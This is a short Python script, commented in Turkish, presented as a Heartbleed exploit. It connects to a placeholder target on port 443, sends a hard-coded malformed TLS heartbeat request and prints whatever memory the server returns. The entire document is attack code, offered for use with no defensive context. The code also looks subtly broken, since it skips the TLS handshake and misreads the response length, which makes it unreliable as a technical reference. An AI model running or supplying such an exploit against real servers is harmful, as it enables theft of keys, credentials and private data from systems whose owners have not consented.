import socket
import struct
def heartbleed_exploit(target_host):
# Socket oluştur
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, 443))
# Heartbeat talebi oluştur
heartbeat = b'\x18\x03\x02\x00\x03\x01@\x00'
# Sunucuya heartbeat talebini gönder
client.send(heartbeat)
# Sunucudan gelen yanıtı al
data = client.recv(1024)
# Yanıttan veri çıkart
length = struct.unpack('!B', data[3:4])[0]
payload = data[5:5+length]
# Veriyi ekrana yazdır
print("Heartbleed'den dönen veri: ", payload)
# Soketi kapat
client.close()
# Kullanım
if __name__ == '__main__':
target_host = 'hedef_sunucu_adresi'
heartbleed_exploit(target_host)
+++++